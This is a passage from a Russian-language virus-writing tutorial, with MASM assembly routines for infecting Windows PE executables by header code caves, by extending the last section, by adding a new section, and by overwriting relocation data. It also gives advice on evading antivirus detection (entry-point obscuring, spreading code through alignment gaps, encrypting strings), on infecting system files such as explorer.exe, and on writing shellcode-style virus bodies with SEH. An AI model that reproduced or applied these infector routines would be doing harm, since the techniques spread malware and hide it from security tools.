Чтобы получить начало первой секции в файле надо пройтись по всем секциям и сохранить минимальное физическое смещение. Мы делаем это для того, что в таблице секций, первая запись не обязательно соответствует первой секции в файле. Иначе можно было бы взять информацию из первой записи в таблице секций. Чаще, в конечном итоге, так и получается. Вот исходный делающий эти операции:

        ;Поиск физического смещения первой секции
        mov     edi,pFileHeader
        assume  edi:ptr IMAGE_FILE_HEADER
        xor     ecx,ecx
        mov     cx,[edi].NumberOfSections
        dec     cx
        mov     edi,pSectionTable
        assume  edi:ptr IMAGE_SECTION_HEADER
        xor     eax,eax
        mov     eax,[edi].PointerToRawData      ;в eax - физическое смещение 1 секции в таблице секций
        add     edi,sizeof IMAGE_SECTION_HEADER
NextSection:
        .IF     eax>[edi].PointerToRawData
                mov     eax,[edi].PointerToRawData
        .ENDIF
        add     edi,sizeof IMAGE_SECTION_HEADER
        loop    NextSection
 

После проекции, проверки EXE-файла и получения информации о промежутке в заголовке проецируем файл, откуда берутся данные, которые надо внедрять. Потом проверяем размер промежутка и размер файла. Если размер промежутка достаточен для кода, то можно внедрять. Код внедряем обычными цепочечными командами ассемблера:

        ;Запись
        mov     ecx,eax                         ;количество байт для записи
        mov     edi,AddressOfCode
        mov     esi,hMap2
        rep     movsb                           ;запись!
 

После данных из файла необходимо поставить переход на нормальную точку входа. Я делаю это следующими инструкциями:

        mov     EDI,<Старая_точка_входа+ImageBase>      ;BFXXXXXXXX
        jmp     edi                                     ;FFE7
 

Далее программа модифицирует точку входа. Параметр SizeOfHeaders очень важен для нас. Он должен быть равен физическому смещению последней секции. Иначе загрузчик не спроецирует код, а забьет пространство нулями. К сожалению, этот способ внедрения отлавливают все антивирусы, просто проверяя, что точка входа указывает на заголовок. Можно, например, записать код в заголовок и потом использовать его. При этом обязательно, чтобы AddressOfEntryPoint не указывал на заголовок. Т.е. можно использовать это место для хранения т.н. загрузочной процедуры, которая передает управление на соответствующие инструкции.

Способ 2. Запись в конец последней секции

Этот способ более предпочтителен для внедрения потустороннего кода в PE-файл. Можно внедрять сколько угодно кода. Но, используя данный способ изменяется размер файла. Что в этом плохого догадайтесь сами. Способ заключается в простом добавлении кода в конец последней секции с изменением параметров для данной секции. Вот алгоритм внедрения, используя расширение последней секции:

  1. Находим последнюю секцию виртуально и физически.
  2. Проверка, не равен ли размер последней секции нулю.
  3. Если нет, то записываем в конец секции код вируса.
  4. Выравниваем новую секцию с учетом файлового выравнивания.
  5. Правим виртуальный и физический размеры секций.
  6. Правим точку входа.
  7. Правим размер образа - ImageSize=VirtualSize+VirtualAddress
  8. Правим - характеристики - на 0А0000020h

Ну как? По-моему ничего сложного. Надо просто знать, какие поля есть в PE-заголовке, и помнить о них. Здесь нам пригодиться и вычисление выравнивания секций. Как вы помните из главы 1, есть формула для вычисления, выровненного вверх или вниз, значения. Был также приведен код процедур для этих расчетов. Сейчас, я приведу код и Вам мигом все станет понятно.

Итоговый размер файла

Первая проблема, которая возникла - это каким делать размер файла. Ведь его нужно знать до заражения. Его нужно знать, чтобы соответствующим образом спроецировать файл и чтобы хватило места в проекции для внедряемого кода. Для нового размера файла используется такая формула:

Y=X+AlignUp(размер_кода+7,FileAlignment),

где X - исходный размер файла, Y - новый размер файла, FileAlignment - файловое выравнивание для файла-жертвы.

Для удобства я сделал процедуру для получения файлового выравнивания. Учтите что данная процедура не сохраняет регистры. Взгляните на эту процедуру:

;==========================================================
;Процедура GetFileAlignment
;Получение выровненного-вверх значения
;Вход: esi - указатель на строку с именем файла
;Выход: eax - значение FileAlignment
;!!!!!!!Процедура не сохраняет регистры!!!!!!!!!!!!!!
;==========================================================
GetFileAlignment        proc
        LOCAL   hFile1:DWORD
        LOCAL   hMapping1:DWORD
;Create File Mapping instructions
        invoke CreateFile,esi,GENERIC_WRITE or
                GENERIC_READ,FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL

        mov     hFile1,eax
        invoke  CreateFileMapping,eax,NULL,PAGE_READWRITE,0,0,NULL
        mov     hMapping1,eax
        invoke  MapViewOfFile,eax,FILE_MAP_ALL_ACCESS,0,0,0
;Проверка правильности PE-файла и ошибок при проекции
        .IF     eax==0                          ;ошибки при проецировании
                invoke  CloseHandle,hFile1
                invoke  CloseHandle,hMapping1
                mov     eax,0
                ret
        .ENDIF
        mov     esi,eax
        call    ValidPE
        .IF     eax==0                          ;EXE-файл не корректный
                push    esi
                call    UnmapViewOfFile
                invoke  CloseHandle,hFile1
                invoke CloseHandle,hMapping1
                mov     eax,0
                ret
        .ENDIF
;Получение адреса PE-заголовка
        assume  edi:ptr IMAGE_DOS_HEADER
        mov     edi,esi
        add     edi,[edi].e_lfanew
;Получение адреса файлового заголовка
        add     edi,4
;Получение адреса опционального заголовка
        add     edi,sizeof IMAGE_FILE_HEADER
        assume  edi:ptr IMAGE_OPTIONAL_HEADER
        invoke  CloseHandle,hFile1
        invoke  CloseHandle,hMapping1
        mov     eax,[edi].FileAlignment
        ret
GetFileAlignment        endp
;==========================================================
;Конец Процедуры GetFileAlignment
;==========================================================
 

Код инфектора

В начале работы программы она высчитывает значение размера нового файла. Потом это значение используется при проекции EXE-файла жертвы. После этого как обычно программа проходит по EXE-файла и вылавливает нужные указатели. После получения нужных данных проходим по таблице секций и выясняем, какая все-таки секция последняя. Важно, что мы смотрим не только на физическое смещение в файле, но и на виртуальное. А то может оказаться, что физически секция последняя, а виртуально нет. В этом случае если мы все-таки внедрим код, то он перепишем данные секции, которая виртуально идет после последней физически. Так что, это надо иметь ввиду. Код:

;Находим последнюю секцию виртуально и физически
        mov     edi,pFileHeader
        assume  edi:ptr IMAGE_FILE_HEADER
        xor     ecx,ecx
        mov     cx,word ptr [edi].NumberOfSections
        mov     edi,pSectionTable
        assume  edi:ptr IMAGE_SECTION_HEADER
        mov     eax,[edi].PointerToRawData
        mov     ebx,[edi].VirtualAddress
        add     edi,sizeof IMAGE_SECTION_HEADER
        dec     ecx
NextSection:
        .IF     (eax<[edi].PointerToRawData)&&(ebx<[edi].VirtualAddress)
                mov     eax,[edi].PointerToRawData
                mov     ebx,[edi].VirtualAddress
                mov     pLastSection,edi                ;указатель на запись о последней секции
        .ENDIF
        add     edi,sizeof IMAGE_SECTION_HEADER
        loop    NextSection
 

Далее проверяем, что найденная секция имеет не нулевой размер. Если бы секция имела бы нулевой физический размер, то это секция с неинициализированными данными. В коде приложения содержатся ссылки на эту секцию. Если мы в начало запишем наш код, то в итоге по некоторым адресам будут записываться данные. Т.о. часть нашего кода перепишется. А это нам естественно не нужно. Вот пример проверки, что найденная секция ненулевая:

;Не нулевая ли последняя секция?
        mov     edi,pLastSection
        .IF     [edi].SizeOfRawData==0                  ;последняя секция нулевая
                jmp     Exit
        .ENDIF
 

После этих действий записываем код и правим некоторые значения. Какие значения править было описано в алгоритме выше.

При внедрении заметьте, что мы добавляем данные в конец последней секции. Т.е. мы не используем место оставшееся в результате файлового выравнивания. Учитывая этот факт, новая точка входа будет равна RVA секции + SizeOfRawData до заражения. Также как и в прошлом примере в код добавляется переход на старую точку входа. Правка точки входа достигается следующим кодом:

;Правка AddressOfEntryPoint
        mov     edi,pLastSection
        assume  edi:ptr IMAGE_SECTION_HEADER
        mov     eax,[edi].VirtualAddress
        add     eax,[edi].SizeOfRawData
        mov     edi,pOptionalHeader
        assume  edi:ptr IMAGE_OPTIONAL_HEADER
        lea     edi,[edi].AddressOfEntryPoint
        mov     dword ptr [edi],eax
 

Загрузчик проверяет выполнение равенства ImageSize=VirtualSize+VirtualAddress. Из-за этого мы должны изменить ImageSize:

        mov     edi,pLastSection
        assume  edi:ptr IMAGE_SECTION_HEADER
        mov     eax,[edi].Misc.VirtualSize
        add     eax,[edi].VirtualAddress
        mov     edi,pOptionalHeader
        assume  edi:ptr IMAGE_OPTIONAL_HEADER
        lea     edi,[edi].SizeOfImage;Правка ImageSize
        mov     dword ptr [edi],eax
 

В результате заражения размер файла увеличивается. Это может вызвать подозрения. Используя данный метод заражения можно внедрить код любого размера. Также можно заразить файл бесконечное количество раз и он будет работать. У меня был notepad.exe, который занимал 30 Мб. Он был просто заражен много раз. Полезная нагрузка (внедряемый код) занимала ~3Мб. Но notepad.exe запускался после повторения некоторых действий.

Cпособ 3. Добавление новой секции

Теперь давайте сами добавим новую секцию в PE-файл. Алгоритм добавления новой секции выглядит так:

  1. Если есть Bound-импорты, то удалить их.
  2. Найти конец таблицы секций.
  3. Добавить запись о своей секции в таблицу секций.
  4. Обновить соответствующие поля.
  5. Записать код по нужному файловому смещению.
  6. Правим точку входа.
  7. Правим размер образа - ImageSize=VirtualSize+VirtualAddress
  8. Правим NumberOfSections

Код инфектора

Размер нового файла вычисляется по такой же формуле что и в предыдущем способе. Первым делом в программе как раз вычисляется новый размер файла. После этого опять ищем Bound-импорты, которые могут находится сразу после оригинальной таблицы секций. Затираем запись о Bound-импортах в таблице директорий. После окончания оригинальной таблицы секций забиваем нулями 40 байт - это будет наше место для новой записи в таблице секций. Хорошо, место есть. Теперь надо создать запись о новой секции и внести туда правильные данные. Чтобы выяснить какие данные нужны, посмотрите на структуру IMAGE_SECTION_HEADER. Имя секции выбираем любое. Главное чтобы оно укладывалось в 8 байт. Я назвал свою секцию .new. Еще один способ проверки не заражен ли уже файл - это проверка названия последней секции. VirtualSize - это размер нашего вредного кода. Чтобы посчитать виртуальный адрес новой секции надо взять виртуальный адрес последней секции. Потом взять размер в файле этой секции. Сложить полученные данные и выровнять их по SectionAlignment. Для получения значения SectionAlignment используется процедура GetSectionAlignment. Код:

;Получаем информацию для новой секции
        mov     edi,pLastSection
        assume  edi:ptr IMAGE_SECTION_HEADER
        mov     eax,[edi].VirtualAddress
        add     eax,[edi].SizeOfRawData
        push    eax

        push    hFile
        call    CloseHandle

        mov     esi,ofn.lpstrFile
        call    GetSectionAlignment

        pop     esi
        mov     edi,eax
        call    GetAlignUp              ;eax - Виртуальный адрес новой секции
        push    eax
 

SizeOfRawData - берем значение виртуального размера и выравниванием на FileAlignment. Для получения значения FileAlignment используется процедура GetFileAlignment. PointerToRawData будет соответствовать старому размеру файла, т.е. данные для секции добавляются в хвост. Далее все оставляем, кроме характеристик. Как выставлять характеристики нам известно. После создания записи о новой секции внедряем код в конец файла. Потом правим AddressOfEntryPoint, ImageSize. И не забудьте подправить NumberOfSections, а то лоадер начнет ругаться что-то там про win32. Вот как я делаю это:

;Правка Number Of Section
        mov     edi,pFileHeader
        assume  edi:ptr IMAGE_FILE_HEADER
        lea     edi,[edi].NumberOfSections
        inc     word ptr [edi]</p>
 

Я не проверяю ошибки, так что сделайте так чтобы файлы, которые Вы открываете, были валидны. В этом инфекторе не также проверки на зараженность, чтобы показать что файл можно заражать несколько раз. В результате заражения размер файла увеличивается. Можно заражать несколько раз, но не бесконечное число. Количество зависит от места конца таблицы секций до данных первой физической секции. Если вдруг антивирус обращет внимание, что точка входа стоит на последней секции, то создайте две секции. На первую из них будет указывать AddressOfEntryPoint. Тогда подозрение по данному признаку исчезнут.

Способ 4. Удаление базовых поправок

В некоторых PE-файлах присутствуют базовые поправки. Вы уже знаете, что это такое, если читали с начала главу. Так вот они в большинстве случаев для EXE-файла не обязательны. Линкеры по умолчанию не создают базовых поправок в PE-файле в целях оптимизации. Мы можем использовать место, отведенное для базовых поправок, для внедрения кода. Чаще всего для базовых поправок отведена отдельная секция, которая называется .reloc. Но эти данные могут и не иметь отдельной секции. Чтобы узнать, где действительно распологается базовые поправки необходимо обратиться к таблице директорий. При заражении мы должны вынудить заргрузчик не использовать базовые поправки для данного EXE-файла. Для этого требутся всего лишь обнулить запись о базовых поправках в таблице директорий. Алгоритм замены секции базовых поправок выглядит так:

  1. В таблице директорий удалить запись о базовых поправках.
  2. Записать код на это место.
  3. Изменить AddressOfEntryPoint

Это все! Никаких ImageSize и т.д. не нужно править т.к. мы не изменяем размер файла.

Полезная нагрузка(payload)

Теперь вы знаете, как внедряться в исполняемый файл. Код, который будет внедрен должен быть базонезависимым. Что обеспечить это условие необходимо использовать дельта смещение и связанные с ним техники. О дельта смещении вы должны были узнать в 1 главе. Код, который здесь приводился базозависим. Это сделано для большего понимания приводимого материала. Но если вы читали главу 1, то для Вас не составит труда сделать код базонезависимым. Также можно использовать термин - код в шел-код стиле.

Продвинутые приемы при заражении PE-файлов

Один из продвинутых приемов при заражении файлов является модификация кодапрограммы. Это довольно сложно. Неоходимо анализировать код программы и выискивать оттуда пустые места или инструкции, которые можно заменить. Если мы просто заразили файл и точку входа изменили на наш код, то это сразу вызвет подозрения, даже визульно. Хороший инфектор должен быть практически невидим, т.е. не отличаться от кода программы. Вы можете размазывать весь код вируса по всему PE-файлу. Куда его засовывать? Да очень просто. У каждой секции есть файловое выравнивание. Следовательно остается свободное место в конце каждой физической секции. Когда в одной секции место закончилось ставьте jmp на следующий кусок кода и так далее. При модификации кода необходимо сохранять старые байты команд, т.е. например не переписать случайно половину команды. В этом случае помогает дизассемблер в вирусе специально написанный Вами. О дизассемлере в вирусах и его использовании я буду говорить в соответствующей главе. Эта тема требут отдельного разговора и называется EPO (EPO: Entry Point Obscuring). При модификации кода, часто необходимо учитывать базовые поправки. Если вдруг Вы попытались заразить DLL, а ей базовые поправки нужны очень часто, то Вы должны позаботиться при модификации кода о прапатчивании модифицированных элементов. Так или иначе Microsoft приподнесла нам подарок в виде файлового выравнивания. Мы можем как угодно использовать это свободное место. Еще один способ для получения свободного места - сжатие оригинального кода. На его место можно записать наш код. При запуске файла код распаковывается, а вирус попадает на какой-то виртуальный адрес. Можно сделать заражение не использую код в шел-код стиле. Есть исполняемый файл, который является вирусом. Есть жертва. Мы берем исполняемый файл, добавляем все данные файла жертвы в файл вируса. Модифицируем с учетом новых данных вирусный PE-файл. Далее заменяем файл жертву на новый файл. При запуске зараженного файла некоторый код вируса, используя сохраненные данные, создает временный оригинальный файл и запускает его. В итоге запускается оригинальный файл. Сразу же исчезают многие проблему. Но у этого способа есть недостатки. Например, решение о том где хранить оригинальный файл. Если мы будем хранить его в той же папке это сразу можно заметить. Еще один способ заключается в следующем. Мы внедряем код запуска некоторого файла в жертву. При запуске жертвы запускается вредоносный файл, и жертва продолжает работу. Ну, это слишком просто. Тем более будет отображеться новый процесс. Это просто новый способ автозагрузки. Например, если заразить explorer. exe. Можно заразить любой файл из папки Windows. Например, notepad.exe. Это можно осуществить, т.к. WFP(Windows File Protection) побеждена. Я расскажу Вам об этом скоро. Вообще можно придумать куча вещей, неоходимо немного фантазии и знание PE-формата. Кое-что Вы можете почитать из той литературы, которую я Вам предложу ниже.

Источники для дальнейших исследований

  1. Основные методы заражения PE EXE [Sars/HI-TECH] wasm.ru
  2. Об упаковщиках в последний раз: Часть 1/2 [Volodya/HI-TECH,NEOx/UINC] wasm.ru
  3. Windows NT and Viruses [Alan Solomon] http://vx.netlux.org
  4. MSIL-PE-EXE infection strategies [Benny/29A] http://vx.netlux.org
  5. ФОРМАТ ИСПОЛНЯЕМЫХ ФАЙЛОВ PortableExecutables (PE) [Hard Wisdom] http://cracklab.ru/
  6. EPO: Entry-Point Obscuring [GriYo/29A] http://vx.netlux.org
  7. An In-Depth Look into the Win32 Portable Executable File Format, Part 1/2 [Matt Pietrek] http://www.microsoft.com
  8. Путь воина - внедрение в pe/coff файлы [Крис Касперски] http://www.insidepro.com/
  9. PE Infection school [JHB] http://vx.netlux.org
  10. The PE file format [LUEVELSMEYER] http://www.cs.bilkent.edu.tr/~hozgur/PE.TXT
  11. Microsoft Portable Executable and Common Object File Format Specification [Microsoft] http://www.microsoft.com
  12. PORTABLE EXECUTABLE FORMAT [Micheal J.O'Leary]
  13. The Evolution of 32-Bit Windows Viruses [Peter Szor, Eugene Kaspersky] http://vx.netlux.org
  14. Optimizing DLL Load Time Performance [Matt Pietrek] http://www.microsoft.com
  15. What Goes On Inside Windows 2000: Solving the Mysteries of the Loader [Russ Osterlund] http://www.microsoft.com
  16. Injected Evil (executable files infection) [Z0mbie/29a]
  17. Загрузчик PE-файлов[Максим М. Гумеров] www.rsdn.ru
  18. Programming Applications for Microsoft Windows [Jeffrey Richter]
  19. Исследование переносимого формата исполнимых файлов "сверху вниз" [Randy Kath] http://education.kulichki.net/comp/hack/27.htm.
  20. Infectable Objects 1/2/3/4[Robert Vibert] http://www.secutityfocus.com
  21. Ideas and theoryes on PE infection [b0z0/iKx] http://vx.netlux.org

Резюме

В этой главе мы рассмотрели формат исполняемых файлов win32. Рассмотрели каждое поле в отдельности и в общем весь формат. Были приведены примеры работы с PE-форматом на С и ассемблере. Мы узнали как заражать PE-файлы. Цель данной статьи - рассказать Вам как устроен PE-формат, расписать некоторые трудности при записи своего кода в посторонний файл. Также Вы должны приобрести гибкость при анализе любого исполняемого файла и создании своих способов внедрения. К статье прилагется исходные коды 3-х инфекторов и дампера PE-формата в 2-х версиях.

Файлы к статье

Глава 3: Программирование в Shell-код стиле. Важные техники системного программирования: SEH, VEH и API Hooking. Отключение Windows File Protection.

Программирование в Shell-код стиле

Этот раздел является своеобразным обобщением первых двух глав. Прочтя его, Вы сможете уже без особых трудностей писать простые Win32-вирусы. Код в shell-код стиле или как он еще называется - базово-независимый код требует определенных условий при его написании. Основное условие - чтобы код не зависел от адреса загрузки его в адресное пространство процесса-жертвы и от структур данных загрузчика. Надо определить адрес какой-нибудь команды, где она находилась первоначально (т.е. в первом поколении). Это значение будет константой, зашитой в коде. Далее код должен определить, где он находиться в данный момент. Для этого есть несколько способов, которые описывались в 1 главе. Вот это и называется дельта-смещением.

Также мы должны знать адреса функций API, чтобы вирус был мульти-платформенным относительно Windows, т.е. работал во всех ОС Windows, т.к. известно, что адреса API-функций меняются в зависимости от ОС, а также могут поменяться в той же ОС в какой-то конфликтной ситуации, например при конфликте разделов виртуальной памяти. Для получения адресов, нужных нам функций ОС, существует много способов. Основы получения адресов мы рассмотрели. При получении адресов ОС Windows мы выполняем часть работы загрузчика. При загрузке исполняемого файла (PE, DLL, SYS, SCR) в адресное пространство процесса загрузчик заполняет таблицу адресов импорта (Import Address Table) и таблицу адресов экспорта (Export Address Table). При выполнении кода этого исполняемого файла IAT используется, чтобы хранить адреса всех API-функций, которые использует приложение. Таким образом, мы касаемся неявного связывания (implicit linking). Адрес API-функции может и не быть в IAT, его можно получить с помощью функции KERNEL32.DLL!GetProcAddress. Этой функции на вход передается описатель модуля, в котором экспортируется нужная функция и имя нужной функции. KERNEL32.DLL!GetProcAddress просматривает EAT модуля, описатель которого передается ей параметром (а описателем модуля(module handle), как известно является его базовый адрес(base address) в адресном пространстве процесса, в котором он загружен). Даже при неявном связывании ОС вызывает GetProcAddress для заполнения IAT. Мы своим кодом эмулируем процедуру GetProcAddress - не больше не меньше!

В исполняемом файле есть несколько секций, которые имеют свои атрибуты. Например, секция кода не предназначена для записи. Есть секция неинициализированных данных, которая имеет нулевой размер физически, но при загрузке данного исполняемого модуля в память эта секция приобретает материальный характер. Чтобы это было именно так, загрузчик просматривает таблицу секций и если он видит, что данная секция - секция неинициализированных данных, то он выделяет память в адресном пространстве процесса с помощью функций выделения памяти. Наш код находится всегда в одной секции. Чтобы таким же образом использовать виртуальное адресное пространство для своих целей приходиться использовать функции резервирования и выделения памяти в куче или, напрямую, - в виртуальной памяти.

Более того, есть проблема - если ЮЗВЕРЬ (классное слово :) ) посмотрит файл, зараженный нашим кодом, то он визуально сможет найти там чего-нибудь подозрительное. Чтобы этого не случилось приходиться шифровать наш код или строки текста, создавая соответственно, и расшифровщик. Но это естественно не единственное применение шифрования в коде.

Представьте, что у нас есть код обычного приложения подсистемы Win32 на ассемблере. Задача: превратить его в код в Shell-код стиле. Сначала надо все переменные переместить в секцию с кодом и соответственно поставить прыжок на нормальный код, чтобы эти данные не начали выполняться как код. Потом вычислить дельта-смещение. Далее получить адреса всех API-функций. После этого можно превращать обычный код в код в Shell-код стиле, т.е. заменять все смещения - смещениями с учетом дельта-смещения.

Пример:

Первоначальный код:

        invoke  MessageBox,0,offset Text1,offset Title1, MB_OK
        .IF eax==0
                jmp error
        .ENDIF
        ...
error:
 

Во-первых, переменные offset Text1, offset Title1 должны находиться в секции кода т.е. там, где находиться код вируса. Из-за этого секцию с таким кодом нужно делать доступным для записи. Во-вторых, offset Text1 - это абсолютный адрес. Допустим, что мы вычислили дельта-смещение и поместили его в регистр EBP. С учетом вычисленного дельта-смещения мы должны его исправить т.о.

lea edi, [ebp+ offset Text1]

Теперь в EDI находиться реальный адрес строки Text1. Также делаем и со всеми остальными переменными. Допустим, что адрес функции MessageBox, находиться в переменной _MessageBox. Тогда вызываем функцию так:

        push    MB_OK
        lea     esi,[ebp+ offset Title1]
        push    esi
        lea     esi,[ebp+ offset Text1]
        push    esi
        push    0
        mov     eax,[ebp+_MessageBox]
        call    eax
 

Две строки

mov eax,[ebp+_MessageBox] call eax

можно заменить одной

call dword ptr [ebp+_MessageBox]

Пример Закончен.

Как известно система команд современных 32-х разрядных процессоров не содержит в себе дальнего условного перехода. Но у нас код и данные расположены в одном большом сегменте, т.о. мы можем переходить на любые расстояния, используя модель памяти FLAT. Но нет команды, которая осуществляет косвенный переход. Т.е., если у нас адрес хранится в каком-нибудь регистре, то мы не можем использовать команду условного перехода, например так - jne EDI. Вот как можно реализовать косвенный переход

Пример:

        cmp     eax,0
        jne     Next
        jmp     edi
Next:
        ...
 

Пример Закончен.

Этот код означает следующее - если значение в регистре EAX равно нулю, то делается дальний переход на адрес, который находиться в EDI.

При программировании в shell-код стиле полезно пользоваться процедурами, т.к. в них можно использовать локальные переменные и они базово-независимы в принципе, т.к. используют стек. Но здесь возникает небольшой вопрос - где хранить дельта-смещение? Вопрос возникает потому, что мы обычно храним дельта-смещение в регистре EBP. В процедурах, регистр EBP используется для своего первоначального предназначения - хранить базу кадра стека. Здесь можно пофантазировать. Я использовал локальную переменную для хранения дельта-смещения.

Директивы компилятора .IF,.WHILE и т.д. Вы можете применять без особых проблем, т.к. у нас всего один сегмент. В случае этих директив компилятор генерирует код, в который входят только относительные адреса.

API-функции мы будем вызывать по абсолютным адресам, для чего мы и получили их адреса. В итоге, первоначальный код, который мы решили перевести в код в Shell-код стиле превращается в такой:

Пример:

        push    MB_OK
        lea     esi,[ebp+ offset Title1]
        push    esi
        lea     esi,[ebp+ offset Text1]
        push    esi
        push    0
        call    dword ptr [ebp+_MessageBox]
        .IF     eax==0
                jmp error
        .ENDIF
        ...
error:
 

Пример Закончен.

В команде jmp error также используется относительный переход. По умолчанию в JMP в MASM'е трактуется как прямой внутрисегментный переход.

При программировании удобно использовать макросы. Посмотрите пример

Пример:

api macro x
        call    dword ptr [ebp+x-delta]
endm
 

А вот так это можно использовать:

api _MessageBox

Пример Закончен.

Обобщенный пример программирования в Shell-код стиле

В этом разделе я хотел привести нормальную программу, а потом эту же программу, но в Shell-код стиле. Но потом я передумал :) Код той и другой программы находятся в архиве, который прилагается к статье. Итак, программа рекурсивного поиска. Программа выводит на экран с помощью MessageBox'а количество найденных файлов с расширением EXE в указанной директории и всех ее поддиректориях. Файлы ищутся в директории, имя которой находиться по адресу Buffer. В архиве есть папка, которая называется ShellCoded. В ней нормальная программа называется - normal.asm, в Shell-код стиле - shellcode.asm. Внимательно рассмотрите эти программы и попробуйте их сравнить. Также потренируйтесь переводить свои программы таким же образом.

Т.о. Вы можете переводить обычное Win32-приложение в приложение в shell-код стиле. Во вложении к статье я также предлагаю Вам шаблон файла, где Вам не придется получать дельта смещение и адреса API-функций. Там уже все есть как в сказке! Почти всё ;) Файл называется VXTemplateWin32.asm.

Важные техники системного программирования

Structured Exception Handling

Введение

Structured Exception Handling (SEH) - структурная обработка исключений, механизм, который поддерживается операционной системой и позволяющий обрабатывать ошибки в программах. В этом разделе я расскажу Вам, что такое SEH, как работает данный механизм и как его использовать в своих вирусах.

SEH - это системный механизм. Представьте, что Ваша программа попытается выполнить следующий код:

Пример:

        xor     eax,eax
        mov     dword ptr [eax],1       ;Записываем по адресу 0 - единицу.
 

Пример Закончен.

Любое обращение к адресам от 0 до 0FFFFh ведет к исключению нарушения доступа к памяти. Конечно, ошибка нарушения доступа к памяти появляется не только для этих адресов, но и для всех адресов выше 2х Гб в виртуальном адресном пространстве, а также если мы пытаемся обратиться к не переданным страницам или например, произвести запись к странице к которой мы не имеем право на запись.

Исключение - это событие, которое происходит в результате какой-либо ошибки. Каждое исключение имеет свой код. Например, код неправомерного доступа к памяти - 0C0000005h. Коды исключений определены в файле WINBASE.H. Допустим, выполняется пример кода, когда мы записываем 1 по адресу 0, тогда возникает исключение. ОС должна реагировать на исключение. Обычно при возникновении исключения ОС вызывает функцию, которая называется обработчиком исключений (exception handler). Эта функция - обычная CALLBACK-функция принимающая несколько параметров. Если мы обрабатываем это исключение, то мы пишем обработчик и в определенном месте указываем его адрес, чтобы, если произошло исключение, ОС смогла вызвать наш обработчик. Если обработчик выполнился, ОС решает, что дальше делать исходя из возвращаемого значения, которой вернул обработчик. Исходя из этих соображений, программа может продолжить работу, программа может завершиться или ОС вызывает следующий обработчик в цепочке (если таковой имеется). Т.е. можно устанавливать несколько обработчиков. Если мы сами не установили обработчик, то в любом приложении установлен обработчик по умолчанию и если случиться исключение, то ОС выведет сообщение о завершении программы.

Если на участок кода приведенном в примере установлен обработчик, то мы можем обработать эту ошибку с помощью специально написанного обработчика. Существует два типа обработчиков исключений - конечные и внутри-поточные. Итак...

Конечный обработчик

Если программа вызвала исключение, то, если внутри-поточные обработчики не установлены или не обрабатывают исключение, вызывается конечный обработчик. Конечный обработчик глобален для процесса, в котором он установлен, в отличии от внутри-поточного. Конечный обработчик устанавливается с помощью API-функции KERNEL32.DLL!SetUnhandledExceptionFilter. Как Вы заметили :) она экспортируется из kernel32.dll. С помщью этой функции можно установить конечный обработчик. Если в Вашей программе произошло исключение и его не обрабатывают никакие внутри-поточные обработчики, то вызывается конечный обработчик. Конечный обработчик вызывается как раз перед тем, когда ОС решила закрыть приложение. Смещение конечного обработчика передается как параметр функции KERNEL32.DLL!SetUnhandledExceptionFilter.

Пример:

Handler proc EXCEPT:DWORD
        ...; здесь обрабатываем ошибочку
ret
Handler endp
        ........
        lea     eax,[ebp+Handler]
        push    eax
        call    [ebp+_SetUnhandledExceptionFilter];установка конечного обработчика
        ....                    ; защищенный код. Если здесь будет исключение,
                                ; то вызовется функция по адресу Handler
 

Пример Закончен.

Функция-обработчик такой прототип прототип:

LONG UnhandledExceptionFilter( STRUCT _EXCEPTION_POINTERS *ExceptionInfo);

Прототип этой функции я взял из SDK. Также там описаны и возвращаемые значения этой функции. А возвращаемые значения могут быть такие:

Прототип конечного обработчика отличается от прототипа внутри-поточного обработчика.

Если что-то произошло в коде вируса, то надо просто перепрыгнуть на нормальный код программы, если этот код внедрен в программу и выполняется до ее старта. Если код вируса выполняется в потоке, то мы завершаем поток. Конечно, можно попробовать исправить ошибку, и продолжить выполнение.

Внутри-поточный обработчик

Если мы хотим обрабатывать ошибки для каждого потока, т.е. устанавливать свой обработчик для каждого вида ошибок в потоке, то мы должны установить внутри-поточный обработчик. Например, ошибка нарушения доступа к памяти в одном потоке будет обрабатываться по-своему, а в другом потоке та же ошибка, уже по-другому, в зависимости от обработчика. Из внутри-поточных обработчиков можно делать цепочки. Т.е. если один обработчик не обрабатывает исключение, то исключение может обработать следующий обработчик в цепочке.

По адресу FS:[0] находиться указатель на структуру SEH, ее называют SEH-фрейм.

Вот описание этой структуры:

SEH struct
        PrevLink        dd ?    ; адрес предыдущего SEH-фрейма
        CurrentHandler  dd ?    ; адрес обработчика исключений
        SafeOffset      dd ?    ; Смещение безопасного места
        PrevEsp         dd ?    ; Старое значение esp
        PrevEbp         dd ?    ; Старое значение ebp
SEH ends
 

Когда мы устанавливаем обработчик исключения вручную, то мы заполняем структуру SEH и передаем указатель на нее в FS:[0]. Структура SEH должна состоять как минимум из 2-х первых двойных слов. Эта новая созданная структура должна обязательно находиться в стеке, иначе наш обработчик не будет вызван. Более того, очередная новая созданная структура должна находиться в стеке выше, чем предыдущие установленные структуры.

Вот как можно установить внутри-поточный обработчик:

Пример:

        lea     eax,[edx+Handler]       ;В edx - дельта смещение
        push    eax                     ;Формируем структуру SEH
        push    FS:[0]                  ;Формируем структуру SEH
        mov     FS:[0],ESP
        ...                             ;Защищенный код
        pop     FS:[0]                  ;Восстанавливаем в FS:[0] адрес предыдущей структуры SEH
        add     ESP,4                   ;убираем из стека оставшийся адрес обработчика из структуры
        ...
Handler proc ExcRec:DWORD, SehFrame:DWORD, Context:DWORD, DispatcherContext:DWORD
        mov     eax,0
        ret
Handler endp
 

Пример Закончен.

Когда поток начинает только выполняться, у него уже установлен один обработчик, обработчик по умолчанию, который выводит сообщение о завершении программы.

Если присмотреться внимательно, то можно понять, что вышеприведенным кодом добавляется очередной элемент в связный список. По адресу FS:[0] содержится указатель на структуру SEH, в которой имеется адрес предыдущей структуры SEH в стеке. Этот связный список называется SEH-цепочка (SEH-chain). Так формируется цепочка из обработчиков исключений. Сцепление в цепочку обработчиков делается, например для того, чтобы каждый обработчик в цепочке обрабатывал свои типы исключений. Если первый обработчик не обработал исключение, то он возвращает eax=1 и управление передается следующему обработчику в цепочке. Т.е. если обработчик возвращает 1, то ОС переходит к следующему элементу в цепочке. Также для каждого куска кода может быть свой обработчик. Если данный обработчик - последний в цепочке, то у него указатель на предыдущий обработчик (поле PrevLink) будет равен -1. Чтобы точно понять, что же такое цепочка из внутри-поточных обработчиков посмотрите на рисунок:

При вызове внутри-поточного обработчика ОС использует Си-договоренность о передаче параметров, вместо стандартной договоренности, т.е. стек после вызова, вызывающий код, должен сам уравнивать, что ОС и делает.

Прототип внутри-поточного обработчика имеет вид

EXCEPTION_DISPOSITION __cdecl _except_handler (
    struct _EXCEPTION_RECORD *ExceptionRecord,
